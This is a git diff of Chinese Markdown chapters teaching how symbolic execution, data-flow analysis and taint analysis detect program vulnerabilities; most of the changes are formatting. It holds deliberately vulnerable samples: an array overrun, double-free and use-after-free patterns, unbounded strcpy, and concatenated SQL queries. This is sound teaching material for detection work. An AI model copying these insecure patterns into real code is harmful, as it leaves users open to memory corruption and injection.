首先,将表示程序输入的变量 i 用符号 x 表示其取值,通过分别对 if 条件语句的两条分支进行分析,可以发现在赋值语句 a[i] = 1 处,当 x 的取值大于 0、小于 10 时,变量 i 的取值为 x,当 x 的取值大于 10 时,变量 i 的取值为 x % 10。通过分析约束 `(x>10∨x<10)∧(0<x∧x<10)` 和约束 `(x%10>10∨x%10<10)∧x>10` 的可满足性,可以发现漏洞的约束是不可满足的,于是认为漏洞不存在。
|
||||
|
||||
#### 构造测试用例
|
||||
### 构造测试用例
|
||||
|
||||
在符号执行的分析过程中,可以不断地获得程序可能执行路径上对程序输入的约束,在分析停止时,利用获得的对程序输入的一系列限制条件,构造满足限制条件的程序输入作为测试用例。
|
||||
|
||||
在模拟程序执行并收集路径条件的过程中,如果同时收集可引起程序异常的符号取值的限制条件,并将异常条件和路径条件一起考虑,精心构造满足条件的测试用例作为程序的输入,那么在使用这样的输入的情况下,程序很可能在运行时出现异常。
|
||||
|
||||
|
||||
## 方法实现
|
||||
|
||||
使用符号执行技术进行漏洞分析,首先对程序代码进行基本的解析,获得程序代码的中间表示。由于符号执行过程常常是路径敏感的分析过程,在代码解析之后,常常需要构建描述程序路径的控制流图和调用图等。漏洞分析分析的过程主要包括符号执行和约束求解两个部分,并交替执行。通过使用符号执行,将变量的取值表示为符号和常量的计算表达式,将路径条件和程序存在漏洞的条件表示为符号取值的约束。约束求解过程一方面判断路径条件是否可满足,根据判断结果对分析的路径进行取舍,另一方面检查程序存在漏洞的条件是否可以满足。符号执行的过程常常需要利用一定的漏洞分析规则,这些规则描述了在什么情况下需要引入符号,以及在什么情况下程序可能存在漏洞等信息。
|
||||
|
||||
#### 正向的符号执行
|
||||
### 正向的符号执行
|
||||
|
||||
正向的符号执行用于全面地对程序代码进行分析,可分为过程内分析和过程间分析。
|
||||
|
||||
**过程内分析**逐句地地过程内的程序语句进行分析:
|
||||
|
||||
- 声明语句分析
|
||||
- 通过声明语句,变量被分配到一定大小的存储空间,在检测缓冲区溢出漏洞时,需要记录这些存储空间的大小。
|
||||
- 分析声明语句的另一个目的是发现程序中的全局变量,记录全局变量的作用范围,这将有助于过程间分析。
|
||||
@ -101,10 +110,12 @@ if (i > 0) {
|
||||
|
||||
**过程间分析**常常需要考虑按照怎样的顺序分析程序语句,如深度优先遍历和广度优先遍历。另外在进行分析时,需要先确定一个分析的起始点,可以是程序入口点、程序中某个过程的起始点或者某个特定的程序点。
|
||||
|
||||
#### 逆向的符号执行
|
||||
### 逆向的符号执行
|
||||
|
||||
逆向的符号执行用于对可能存在漏洞的部分代码进行有针对性的分析。通过分析这些程序语句,可以得到变量取值满足怎样的约束表示程序存在漏洞,将这样的约束记录下来,在之后的分析中,通过逆向分析判断程序存在漏洞的约束是否是可以满足的。通过不断地记录并分析路径条件,检查程序是否可能存在带有程序漏洞的路径。
|
||||
|
||||
例如下面的代码片段:
|
||||
|
||||
```c
|
||||
if (j > -6) {
|
||||
a = i;
|
||||
@ -116,23 +127,27 @@ if (j > -6) {
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
我们可以从语句 `a[i]=1` 开始,逆推上去,判断 `i<0∨i>len(a)` 是否可以满足,直到碰到语句 `if(i<15)` 时,存在漏洞的约束被更新为 `i<15∨flag==0∨i<0∨i>len(a)`,如果 `len(a)≥15`,则通过对约束进行求解可知当前约束是不满足的,这时停止对该路径的分析。否则如果 `len(a)<15`,则不能判断程序是否存在漏洞,分析将继续。
|
||||
|
||||
如果在碰到赋值语句且赋值变量和路径条件相关时,可以根据赋值语句所示的变量取值之间的关系更新当前路径条件。例如上面的 `i=j+6`,可以将其带入到路径条件中,得到 `j+6<15∨flag==0∨j+6<0∨j+6>len(a)`。而无关的赋值,如 `a=i`,则可以忽略它。然而变量之间的别名关系常常会对分析产生影响,所以可以在逆向分析之前,对程序进行别名分析或者指向分析。
|
||||
|
||||
逆向符号执行的过程间分析:
|
||||
|
||||
- 当过程内分析中遇到不能根据语义进行处理的过程,这些过程是程序实现的,并且影响所关心的存在漏洞的约束时
|
||||
- 通常选择直接对调用的过程进行过程内分析。
|
||||
- 当过程内分析已经到达过程的入口点,且仍然无法判断存在漏洞的约束是否一定不可满足时
|
||||
- 可以根据调用图或其他调用关系找到调用该过程的过程,然后从调用点开始继续逆向分析。
|
||||
|
||||
|
||||
## 实例分析
|
||||
|
||||
我们来看一段缓冲区溢出漏洞的例子,分析规则和漏洞代码如下:
|
||||
```
|
||||
|
||||
```text
|
||||
array[x]; len(array) = x
|
||||
array[y]; 0 < i < len(array)
|
||||
```
|
||||
|
||||
```c
|
||||
#define ISDN_MAX_DRIVERS 32
|
||||
#define ISDN_CHANNELS 64
|
||||
@ -156,14 +171,17 @@ static struct isdn slot *get_slot_by_minor(int minor) {
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
漏洞很明显,在语句 `drv = drivers[di]` 中,`di` 可能会超出数组上界。
|
||||
|
||||
代码片段的过程调用关系如下:
|
||||
```
|
||||
|
||||
```text
|
||||
--> get_slot_by_minor() --> get_drv_by_nr() --> spin_lock_irqsave()
|
||||
```
|
||||
|
||||
我们首先用正向的分析方法,过程如下:
|
||||
|
||||
- 将函数 `get_drv_by_nr()` 的参数 `di` 作为符号处理,用符号 `a` 表示其值。
|
||||
- 接下来声明了两个变量,但未对其赋值,所以不进行处理。
|
||||
- 语句 `if(di<0)` 对变量 `di` 加以限制,这里记录 `a<0` 时,函数返回空。然后遍历语句的 false 分支。
|
||||
@ -174,11 +192,12 @@ static struct isdn slot *get_slot_by_minor(int minor) {
|
||||
- 接下来通过分析 `get_drv_by_nr()` 的摘要,`di≥32` 时存在漏洞,于是得到约束 `0≤di<64∧di≥32`,求解约束得 `di` 为 32 时满足约束条件,程序存在漏洞。
|
||||
|
||||
接下来采用逆向的分析方法,过程如下:
|
||||
|
||||
- 从 `drv = drivers[di]` 开始,根据规则得到约束 `0≤di<32`。而 `di≥32∨di<0` 程序存在漏洞。
|
||||
- 上一条语句与 `di` 无关,跳过。
|
||||
- 补充路径条件 `di≥0`,此时约束为 `(di≥32∨di<0)∧di≥0`,即 `di≥32` 时存在漏洞。
|
||||
- 继续向上,直到函数入口点,此时分析调用它的函数 `get_slot_by_minor()`,得到约束 `0≤di<64`,求解约束 `0≤di<64∧di≥32`,发现可满足,认为程序存在漏洞。
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [History of symbolic execution](https://github.com/enzet/symbolic-execution)
|
||||
|
@ -2,9 +2,9 @@
|
||||
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## 参考资料
|
||||
- https://github.com/Sable/soot/
|
||||
|
||||
- <https://github.com/Sable/soot/>
|
||||
- [A Survivor's Guide to Java Program Analysis with Soot](http://www.brics.dk/SootGuide/)
|
||||
- [Analyzing Java Programs with Soot](http://www.iro.umontreal.ca/~dufour/cours/ift6315/docs/soot-tutorial.pdf)
|
||||
- [The Soot framework for Java program analysis: a retrospective](http://sable.github.io/soot/resources/lblh11soot.pdf)
|
||||
|
@ -4,56 +4,67 @@
|
||||
- [方法实现](#方法实现)
|
||||
- [实例分析](#实例分析)
|
||||
|
||||
|
||||
## 基本原理
|
||||
|
||||
数据流分析是一种用来获取相关数据沿着程序执行路径流动的信息分析技术。分析对象是程序执行路径上的数据流动或可能的取值。
|
||||
|
||||
#### 数据流分析的分类
|
||||
### 数据流分析的分类
|
||||
|
||||
根据对程序路径的分析精度分类:
|
||||
|
||||
- 流不敏感分析(flow insensitive):不考虑语句的先后顺序,按照程序语句的物理位置从上往下顺序分析每一语句,忽略程序中存在的分支
|
||||
- 流敏感分析(flow sensitive):考虑程序语句可能的执行顺序,通常需要利用程序的控制流图(CFG)
|
||||
- 路径敏感分析(path sensitive):不仅考虑语句的先后顺序,还对程序执行路径条件加以判断,以确定分析使用的语句序列是否对应着一条可实际运行的程序执行路径
|
||||
|
||||
根据分析程序路径的深度分类:
|
||||
|
||||
- 过程内分析(intraprocedure analysis):只针对程序中函数内的代码
|
||||
- 过程间分析(inter-procedure analysis):考虑函数之间的数据流,即需要跟踪分析目标数据在函数之间的传递过程
|
||||
- 上下文不敏感分析(context-insensitive):将每个调用或返回看做一个 “goto” 操作,忽略调用位置和函数参数取值等函数调用的相关信息
|
||||
- 上下文敏感分析(context-sensitive):对不同调用位置调用的同一函数加以区分
|
||||
|
||||
#### 检测程序漏洞
|
||||
### 检测程序漏洞
|
||||
|
||||
由于一些程序漏洞的特征恰好可以表现为特定程序变量在特定的程序点上的性质、状态或取值不满足程序安全的规定,因此数据流分析可以直接用于检测这些漏洞。
|
||||
|
||||
例如指针变量二次释放的问题:
|
||||
|
||||
```c
|
||||
free(p);
|
||||
[...]
|
||||
free(p);
|
||||
```
|
||||
|
||||
使用数据流分析跟踪指针变量的状态,当指针 p 被释放时,记录指针变量 p 的状态为已释放,当再次遇到对 p 的释放操作时,对 p 的状态进行检查。
|
||||
|
||||
有时还要考虑变量的别名问题,例如下面这样:
|
||||
|
||||
```c
|
||||
p = q;
|
||||
free(q);
|
||||
[...]
|
||||
*p = 1;
|
||||
```
|
||||
|
||||
这时就需要建立别名关系信息来辅助分析。
|
||||
|
||||
再看一个数组越界的问题:
|
||||
|
||||
```c
|
||||
a[i] = 1;
|
||||
```
|
||||
|
||||
使用数据流分析方法一方面记录数组 a 的长度,另一方面分析变量 i 的取值,并进行比较,以判断数据的访问是否越界。
|
||||
|
||||
```c
|
||||
strcpy(x, y);
|
||||
```
|
||||
|
||||
记录下变量 x 被分配空间的大小和变量 y 的长度,如果前者小于后者,则判断存在缓冲区溢出。
|
||||
|
||||
总的来说,基于数据流的源代码漏洞分析的原理如下图所示:
|
||||
|
||||
![](../pic/5.4_overview.png)
|
||||
![img](../pic/5.4_overview.png)
|
||||
|
||||
- 代码建模
|
||||
- 该过程通过一系列的程序分析技术获得程序代码模型。首先通过词法分析生成词素的序列,然后通过语法分析将词素组合成抽象语法树。如果需要三地址码,则利用中间代码生成过程解析抽象语法树生成三地址码。如果采用流敏感或路径敏感的方式,则可以通过分析抽象语法树得到程序的控制流图。构造控制流图的过程是过程内的控制流分析过程。控制流还包含分析各个过程之间的调用关系的部分。通过分析过程之间的调用关系,还可以构造程序的调用图。另外,该过程还需要一些辅助支持技术,例如变量的别名分析,Java 反射机制分析,C/C++ 的函数指针或虚函数调用分析等。
|
||||
@ -66,15 +77,17 @@ strcpy(x, y);
|
||||
- 处理分析结果
|
||||
- 对检测出的漏洞进行危害程度分类等。
|
||||
|
||||
|
||||
## 方法实现
|
||||
#### 程序代码模型
|
||||
|
||||
### 程序代码模型
|
||||
|
||||
数据流分析使用的程序代码模型主要包括程序代码的中间表示以及一些关键的数据结构,利用程序代码的中间表示可以对程序语句的指令语义进行分析。
|
||||
|
||||
**抽象语法树(AST)**是程序抽象语法结构的树状表现形式,其每个内部节点代表一个运算符,该节点的子节点代表这个运算符的运算分量。通过描述控制转移语句的语法结构,抽象语法树在一定程度上也描述了程序的过程内代码的控制流结构。
|
||||
|
||||
举个例子,辗转相除法的算法描述和抽象语法树如下:
|
||||
```
|
||||
|
||||
```text
|
||||
while b ≠ 0
|
||||
if a > b
|
||||
a := a − b
|
||||
@ -83,11 +96,12 @@ b := b − a
|
||||
return a
|
||||
```
|
||||
|
||||
![](../pic/5.4_ast.png)
|
||||
![img](../pic/5.4_ast.png)
|
||||
|
||||
**三地址码(TAC)**由一组类似于汇编语言的指令组成,每个指令具有不多于三个的运算分量。每个运算分量都像是一个寄存器。
|
||||
|
||||
通常的三地址码指令包括下面几种:
|
||||
|
||||
- `x = y op z`:表示 y 和 z 经过 op 指示的计算将结果存入 x
|
||||
- `x = op y`:表示运算分量 y 经过操作 op 的计算将结果存入 x
|
||||
- `x = y`:表示赋值操作
|
||||
@ -95,20 +109,24 @@ return a
|
||||
- `if x goto L`:表示条件跳转
|
||||
- `x = y[i]`:表示数组赋值操作
|
||||
- `x = &y`、`x = *y`:表示对地址的操作
|
||||
- ```
|
||||
|
||||
```text
|
||||
param x1
|
||||
param x2
|
||||
call p
|
||||
```
|
||||
|
||||
表示过程调用 p(x1, x2)
|
||||
|
||||
举个例子:
|
||||
```
|
||||
|
||||
```c
|
||||
for (i = 0; i < 10; ++i) {
|
||||
b[i] = i*i;
|
||||
}
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
t1 := 0 ; initialize i
|
||||
L1: if t1 >= 10 goto L2 ; conditional jump
|
||||
t2 := t1 * t1 ; square of i
|
||||
@ -124,8 +142,8 @@ L2:
|
||||
|
||||
看下面这个例子:
|
||||
|
||||
![](../pic/5.4_ssa1.png)
|
||||
![](../pic/5.4_ssa2.png)
|
||||
![img](../pic/5.4_ssa1.png)
|
||||
![img](../pic/5.4_ssa2.png)
|
||||
|
||||
通过 Φ 函数在最后一个区块的起始产生一个新的定义 y3,这样程序就会根据具体的运行路径来选择是 y1 还是 y2,而在最后一个区块中,仅需要使用 y3,即可得到正确的数值。
|
||||
|
||||
@ -135,7 +153,7 @@ L2:
|
||||
|
||||
看几个例子:
|
||||
|
||||
![](../pic/5.4_cfg.png)
|
||||
![img](../pic/5.4_cfg.png)
|
||||
|
||||
- (a):一个 if-then-else 语句
|
||||
- (b):一个 while 循环
|
||||
@ -143,11 +161,13 @@ L2:
|
||||
- (d):有两个入口的循环,例如 goto 到一个 while 或者 for 循环里,不可简化
|
||||
|
||||
**调用图(CG)**是描述程序中过程之间的调用和被调用关系的有向图。控制图是一个节点和边的集合,并满足如下原则:
|
||||
|
||||
- 对程序中的每个过程都有一个节点
|
||||
- 对每个调用点都有一个节点
|
||||
- 如果调用点 c 调用了过程 p,就存在一条从 c 的节点到 p 的节点的边
|
||||
|
||||
#### 程序建模
|
||||
### 程序建模
|
||||
|
||||
程序建模包括代码解析和辅助分析两个部分。其中代码解析过程是指词法分析、语法分析、中间代码生成以及过程内的控制流分析等基础的分析过程。辅助分析主要包括控制流分析等为数据流分析提供支持的分析过程。
|
||||
|
||||
在代码解析过程中,词法分析读入源程序输出词素序列,每个词素对应一个词法单元,语法分析使用词法单元的第一个分量来创建抽象语法树,中间代码生成过程将抽象语法树转化为三地址码,而三地址码常表示为静态单赋值形式。编译器在源代码编译过程中得到的中间表示及其他的数据结构可以很好地为检测程序漏洞的数据流分析所用。因此,一些分析系统将相应的代码编译器实现的某些过程或者代码解析组件作为分析系统的前端,利用这些过程或者组件获得所需的数据结构,完成堆程序源代码的解析。然而,对于解释型语言或者脚本语言编写的程序,程序代码直接被解释器解释执行,没有相应的编译器实现对程序代码的基本解析。这时,我们需要在分析系统中设计完成代码解析的各个部分。而对于某些语言如 Java,其编译后得到的中间程序被相应的虚拟机执行。这时,分析系统可以分析这个中间程序,即 .class 文件。
|
||||
@ -156,21 +176,24 @@ L2:
|
||||
|
||||
对于调用图的构建,如果是直接过程调用的程序,每个调用的目标都可以静态确定,则调用图中的每个调用点恰好有一条边指向一个调用过程。但如果程序使用了过程参数或者函数指针,则通过静态分析只能得到近似的估计。对于面向对象程序设计语言来说,间接调用才是常用的方式。此时需要分析调用点调用所接收对象的类型来确定调用的是哪个方法。
|
||||
|
||||
#### 漏洞分析规则
|
||||
### 漏洞分析规则
|
||||
|
||||
程序漏洞通常和程序中变量的状态或者变量的取值相关。状态自动机可以描述和程序变量状态相关的漏洞分析规则,自动机的状态和变量相应的状态对应。和变量取值相关的检测规则通常包含和程序语句或者指令相关的对变量取值的记录规则以及在特定情况下变量取值需要满足的约束。
|
||||
|
||||
一个描述指针变量使用的有限状态自动机的例子:
|
||||
|
||||
![](../pic/5.4_state.png)
|
||||
![img](../pic/5.4_state.png)
|
||||
|
||||
一个用于检测缓冲区溢出漏洞的分析变量取值的规则如下:
|
||||
|
||||
```c
|
||||
char a[10]; // len(a) = 10;
|
||||
[...]
|
||||
strcpy(dest, src); // len(dest) > len(src);
|
||||
```
|
||||
|
||||
#### 静态漏洞分析
|
||||
### 静态漏洞分析
|
||||
|
||||
数据流分析检测漏洞是利用分析规则按照一定的顺序分析代码中间表示的过程。
|
||||
|
||||
**过程内分析**。对于抽象语法树的分析,可以按照程序执行语句的过程从右向左、自底向上地进行分析。对于三地址码的分析,则可以直接识别其操作以及操作相关的变量。
|
||||
@ -181,11 +204,13 @@ strcpy(dest, src); // len(dest) > len(src);
|
||||
|
||||
**过程间分析**。一个简单的思路是:如果在分析某段程序中遇到过程调用语句,就分析其调用过程的内部的代码,完成分析之后再回到原来的程序段继续分析。另一种思路是借鉴基本块的分析,给过程设置上摘要,也包含前置条件和后置条件。
|
||||
|
||||
#### 指向分析
|
||||
### 指向分析
|
||||
|
||||
指向分析(points-to analysis)用于回答变量指向哪些被分配空间的对象这样的问题。通过对待分析的程序使用指向分析,可以大致确定变量指向哪些对象,进而构建相对准确的调用图。指向分析常常需要虚拟一个存储空间,用于记录被分配空间的对象。
|
||||
|
||||
例如下面这段 Java 代码:
|
||||
```
|
||||
|
||||
```text
|
||||
obj = new Type(); // 在虚拟存储空间记录一个对象 o,同时记录变量 obj 指向对象 o
|
||||
obj1 = obj2; // 如果 obj2 指向对象 o2,则记录 obj1 指向对象 o2
|
||||
obj1.field = obj2; // 记录 obj1 的实例域 field 指向 obj2 指向的对象
|
||||
@ -193,7 +218,8 @@ obj2 = obj1.field; // 记录 obj2 指向对象 obj1 的实例域 field
|
||||
```
|
||||
|
||||
对于 C 语言的指向分析就相对复杂一些,因为 C 语言可以使用指针变量。指针变量存储的是某个对象在存储空间中的地址,所以在指向分析中,通常还要加入地址这样的信息,主要有下面四种形式的赋值语句:
|
||||
```
|
||||
|
||||
```text
|
||||
p = q;
|
||||
p = &q;
|
||||
p = *q;
|
||||
@ -202,12 +228,14 @@ p = *q;
|
||||
|
||||
通过指向分析,可以得到变量指向的被分配空间的对象集合。根据集合中对象的类型以及程序中类的层次结构,可以大致确定某个调用点调用的方法是哪些类中声明的方法。指向分析的结果中如果两个变量指向的对象的集合是相同的,则可以确定它们互为别名。
|
||||
|
||||
|
||||
## 实例分析
|
||||
#### 检测指针变量的错误使用
|
||||
|
||||
### 检测指针变量的错误使用
|
||||
|
||||
在检测指针变量的错误使用时,我们关心的是变量的状态。
|
||||
|
||||
下面看一个例子:
|
||||
|
||||
```c
|
||||
int contrived(int *p, int *w, int x) {
|
||||
int *q;
|
||||
@ -228,19 +256,21 @@ int contrived_caller(int *w, int x, int *p) {
|
||||
return *w; // w use after free
|
||||
}
|
||||
```
|
||||
|
||||
可以看到上面的代码可能出现 use-after-free 漏洞。
|
||||
|
||||
这里我们采用路径敏感的数据流分析,控制流图如下:
|
||||
|
||||
![](../pic/5.4_cfg1.png)
|
||||
![](../pic/5.4_cfg2.png)
|
||||
![img](../pic/5.4_cfg1.png)
|
||||
![img](../pic/5.4_cfg2.png)
|
||||
|
||||
调用图如下:
|
||||
|
||||
![](../pic/5.4_cg1.png)
|
||||
![img](../pic/5.4_cg1.png)
|
||||
|
||||
下面是用于检测指针变量错误使用的检测规则:
|
||||
```
|
||||
|
||||
```text
|
||||
v 被分配空间 ==> v.start
|
||||
v.start: {kfree(v)} ==> v.free
|
||||
v.free: {*v} ==> v.useAfterFree
|
||||
@ -250,14 +280,17 @@ v.free: {kfree(v)} ==> v.doubleFree
|
||||
分析过程从函数 contrived_call 的入口点开始,对于过程内代码的分析,使用深度优先遍历控制流图的方法,并使用基本块摘要进行辅助,而对于过程间的分析,选择在遇到函数调用时直接分析被调用函数内代码的方式,并使用函数摘要。
|
||||
|
||||
函数 contrived 中的路径有两条:
|
||||
|
||||
- BB0->BB1->BB2->BB3->BB5->BB6:在进行到 BB5 时,BB5 的前置条件为 p.free, q.free 和 w.free,此时语句 `q1 = *q` 将触发 use-after-free 规则并设置 q.useAfterFree 状态。然后返回到函数 contrived_call 的 BB2,其前置条件为 p.useAfterFree, w.free,此时语句 `w1 = *w` 设置 w.useAfterFree。
|
||||
- BB0->BB1->BB3->BB4->BB6:该路径是安全的。
|
||||
|
||||
#### 检测缓冲区溢出
|
||||
### 检测缓冲区溢出
|
||||
|
||||
在检测缓冲区溢出时,我们关心的是变量的取值,并在一些预定义的敏感操作所在的程序点上,对变量的取值进行检查。
|
||||
|
||||
下面是一些记录变量的取值的规则:
|
||||
```
|
||||
|
||||
```text
|
||||
char s[n]; // len(s) = n
|
||||
strcpy(des, src); // len(des) > len(src)
|
||||
strncpy(des, src, n); // len(des) > min(len(src), n)
|
||||
|
@ -9,18 +9,21 @@
|
||||
- [方法实现](#方法实现)
|
||||
- [实例分析](#实例分析)
|
||||
|
||||
|
||||
## 污点分析
|
||||
|
||||
### 基本原理
|
||||
|
||||
污点分析是一种跟踪并分析污点信息在程序中流动的技术。在漏洞分析中,使用污点分析技术将所感兴趣的数据(通常来自程序的外部输入)标记为污点数据,然后通过跟踪和污点数据相关的信息的流向,可以知道它们是否会影响某些关键的程序操作,进而挖掘程序漏洞。即将程序是否存在某种漏洞的问题转化为污点信息是否会被 Sink 点上的操作所使用的问题。
|
||||
|
||||
污点分析常常包括以下几个部分:
|
||||
|
||||
- 识别污点信息在程序中的产生点(Source点)并对污点信息进行标记
|
||||
- 利用特定的规则跟踪分析污点信息在程序中的传播过程
|
||||
- 在一些关键的程序点(Sink点)检测关键的操作是否会受到污点信息的影响
|
||||
|
||||
举个例子:
|
||||
```
|
||||
|
||||
```text
|
||||
[...]
|
||||
scanf("%d", &x); // Source 点,输入数据被标记为污点信息,并且认为变量 x 是污染的
|
||||
[...]
|
||||
@ -34,15 +37,18 @@ while (i < y) // Sink 点,如果规定循环的次数不能受程序输
|
||||
然而污点信息不仅可以通过数据依赖传播,还可以通过控制依赖传播。我们将通过数据依赖传播的信息流称为显式信息流,将通过控制依赖传播的信息流称为隐式信息流。
|
||||
|
||||
举个例子:
|
||||
|
||||
```c
|
||||
if (x > 0)
|
||||
y = 1;
|
||||
else
|
||||
y = 0;
|
||||
```
|
||||
|
||||
变量 y 的取值依赖于变量 x 的取值,如果变量 x 是污染的,那么变量 y 也应该是污染的。
|
||||
|
||||
通常我们将使用污点分析可以检测的程序漏洞称为污点类型的漏洞,例如 SQL 注入漏洞:
|
||||
|
||||
```java
|
||||
String user = getUser();
|
||||
String pass = getPass();
|
||||
@ -52,23 +58,26 @@ ResultSetrs = stam.executeQuery(sqlQuery);
|
||||
if (rs.next())
|
||||
success = true;
|
||||
```
|
||||
|
||||
在进行污点分析时,将变量 user 和 pass 标记为污染的,由于变量 sqlQuery 的值受到 user 和 pass 的影响,所以将 sqlQuery 也标记为污染的。程序将变量 sqlQuery 作为参数构造 SQL 操作语句,于是可以判定程序存在 SQL 注入漏洞。
|
||||
|
||||
使用污点分析检测程序漏洞的工作原理如下图所示:
|
||||
|
||||
![](../pic/5.5_overview.png)
|
||||
![img](../pic/5.5_overview.png)
|
||||
|
||||
- 基于数据流的污点分析。在不考虑隐式信息流的情况下,可以将污点分析看做针对污点数据的数据流分析。根据污点传播规则跟踪污点信息或者标记路径上的变量污染情况,进而检查污点信息是否影响敏感操作。
|
||||
- 基于依赖关系的污点分析。考虑隐式信息流,在分析过程中,根据程序中的语句或者指令之间的依赖关系,检查 Sink 点处敏感操作是否依赖于 Source 点处接收污点信息的操作。
|
||||
|
||||
|
||||
### 方法实现
|
||||
|
||||
静态污点分析系统首先对程序代码进行解析,获得程序代码的中间表示,然后在中间表示的基础上对程序代码进行控制流分析等辅助分析,以获得需要的控制流图、调用图等。在辅助分析的过程中,系统可以利用污点分析规则在中间表示上识别程序中的 Source 点和 Sink 点。最后检测系统根据污点分析规则,利用静态污点分析检查程序是否存在污点类型的漏洞。
|
||||
|
||||
#### 基于数据流的污点分析
|
||||
|
||||
在基于数据流的污点分析中,常常需要一些辅助分析技术,例如别名分析、取值分析等,来提高分析精度。辅助分析和污点分析交替进行,通常沿着程序路径的方向分析污点信息的流向,检查 Source 点处程序接收的污点信息是否会影响到 Sink 点处的敏感操作。
|
||||
|
||||
**过程内的分析**中,按照一定的顺序分析过程内的每一条语句或者指令,进而分析污点信息的流向。
|
||||
|
||||
- 记录污点信息。在静态分析层面,程序变量的污染情况为主要关注对象。为记录污染信息,通常为变量添加一个污染标签。最简单的就是一个布尔型变量,表示变量是否被污染。更复杂的标签还可以记录变量的污染信息来自哪些 Source 点,甚至精确到 Source 点接收数据的哪一部分。当然也可以不使用污染标签,这时我们通过对变量进行跟踪的方式达到分析污点信息流向的目的。例如使用栈或者队列来记录被污染的变量。
|
||||
- 程序语句的分析。在确定如何记录污染信息后,将对程序语句进行静态分析。通常我们主要关注赋值语句、控制转移语句以及过程调用语句三类。
|
||||
- 赋值语句。
|
||||
@ -87,16 +96,18 @@ if (rs.next())
|
||||
**过程间的分析**与数据流过程间分析类似,使用自底向上的分析方法,分析调用图中的每一个过程,进而对程序进行整体的分析。
|
||||
|
||||
#### 基于依赖关系的污点分析
|
||||
|
||||
在基于依赖关系的污点分析中,首先利用程序的中间表示、控制流图和过程调用图构造程序完整的或者局部的程序的依赖关系。在分析程序依赖关系后,根据污点分析规则,检测 Sink 点处敏感操作是否依赖于 Source 点。
|
||||
|
||||
分析程序依赖关系的过程可以看做是构建程序依赖图的过程。程序依赖图是一个有向图。它的节点是程序语句,它的有向边表示程序语句之间的依赖关系。程序依赖图的有向边常常包括数据依赖边和控制依赖边。在构建有一定规模的程序的依赖图时,需要按需地构建程序依赖关系,并且优先考虑和污点信息相关的程序代码。
|
||||
|
||||
|
||||
### 实例分析
|
||||
|
||||
在使用污点分析方法检测程序漏洞时,污点数据相关的程序漏洞是主要关注对象,如 SQL 注入漏洞、命令注入漏洞和跨站脚本漏洞等。
|
||||
|
||||
下面是一个存在 SQL 注入漏洞 ASP 程序的例子:
|
||||
```
|
||||
|
||||
```asp
|
||||
<%
|
||||
Set pwd = "bar"
|
||||
Set sql1 = "SELECT companyname FROM " & Request.Cookies("hello")
|
||||
@ -114,7 +125,8 @@ if (rs.next())
|
||||
```
|
||||
|
||||
首先对这段代码表示为一种三地址码的形式,例如第 3 行可以表示为:
|
||||
```
|
||||
|
||||
```text
|
||||
a = "SELECT companyname FROM "
|
||||
b = "hello"
|
||||
param0 Request
|
||||
@ -129,17 +141,20 @@ sql1 = a & c
|
||||
接下来,需要识别程序中的 Source 点和 Sink 点以及初始的被污染的数据。
|
||||
|
||||
具体的分析过程如下:
|
||||
|
||||
- 调用 Request.Cookies("hello") 的返回结果是污染的,所以变量 sql1 也是污染的。
|
||||
- 调用 Request.QueryString("foo") 的返回结果 sql2 是污染的。
|
||||
- 函数 MySqlStuff 被调用,它的参数 sql1,sql2 都是污染的。分了分析函数的处理过程,根据第 6 行函数的声明,标记其参数 cmd1,cmd2 是污染的。
|
||||
- 第 10 行是程序的 Sink 点,函数 conn.Execute 执行 SQL 操作,其参数 cmd2 是污染的,进而发现污染数据从 Source 点传播到 Sink 点。因此,认为程序存在 SQL 注入漏洞
|
||||
|
||||
|
||||
## 动态污点分析
|
||||
### 基本原理
|
||||
|
||||
### 动态污点分析的基本原理
|
||||
|
||||
动态污点分析是在程序运行的基础上,对数据流或控制流进行监控,从而实现对数据在内存中的显式传播、数据误用等进行跟踪和检测。动态污点分析与静态污点分析的唯一区别在于静态污点分析技术在检测时并不真正运行程序,而是通过模拟程序的执行过程来传播污点标记,而动态污点分析技术需要运行程序,同时实时传播并检测污点标记。
|
||||
|
||||
动态污点分析技术可分为三个部分:
|
||||
|
||||
- 污点数据标记:程序攻击面是程序接受输入数据的接口集,一般由程序入口点和外部函数调用组成。在污点分析中,来自外部的输入数据会被标记为污点数据。根据输入数据来源的不同,可分为三类:网络输入、文件输入和输入设备输入。
|
||||
- 污点动态跟踪:在污点数据标记的基础上,对进程进行指令粒度的动态跟踪分析,分析每一条指令的效果,直至覆盖整个程序的运行过程,跟踪数据流的传播。
|
||||
- 动态污点跟踪通常基于以下三种机制
|
||||
@ -151,18 +166,21 @@ sql1 = a & c
|
||||
- 污点误用检查:在正确标记污点数据并对污点数据的传播进行实时跟踪后,就需要对攻击做出正确的检测即检测污点数据是否有非法使用的情况。
|
||||
|
||||
动态污点分析的优缺点:
|
||||
|
||||
- 优点:误报率较低,检测结果的可信度较高。
|
||||
- 缺点:
|
||||
- 漏报率较高:由于程序动态运行时的代码覆盖率决定的。
|
||||
- 平台相关性较高:特定的动态污点分析工具只能够解决在特定平台上运行的程序。
|
||||
- 资源消耗大:包括空间上和时间上。
|
||||
|
||||
### 动态污点分析的方法实现
|
||||
|
||||
### 方法实现
|
||||
#### 污点数据标记
|
||||
|
||||
污点数据通常主要是指软件系统所接受的外部输入数据,在计算机中,这些数据可能以内存临时数据的形式存储,也可能以文件的形式存储。当程序需要使用这些数据时,一般通过函数或系统调用来进行数据访问和处理,因此只需要对这些关键函数进行监控,即可得到程序读取或输出了什么污点信息。另外对于网络输入,也需要对网络操作函数进行监控。
|
||||
|
||||
识别出污点数据后,需要对污点进行标记。污点生命周期是指在该生命周期的时间范围内,污点被定义为有效。污点生命周期开始于污点创建时刻,生成污点标记,结束于污点删除时刻,清除污点标记。
|
||||
|
||||
- 污点创建
|
||||
- 将来自于非可靠来源的数据分配给某寄存器或内存操作数时
|
||||
- 将已经标记为污点的数据通过运算分配给某寄存器或内存操作数时
|
||||
@ -172,6 +190,7 @@ sql1 = a & c
|
||||
- 一些会清除污点痕迹的算数运算或逻辑运算操作时
|
||||
|
||||
#### 污点动态跟踪
|
||||
|
||||
当污点数据从一个位置传递到另一个位置时,则认为产生了污点传播。污点传播规则:
|
||||
|
||||
| 指令类型 | 传播规则 | 举例说明 |
|
||||
@ -187,10 +206,12 @@ sql1 = a & c
|
||||
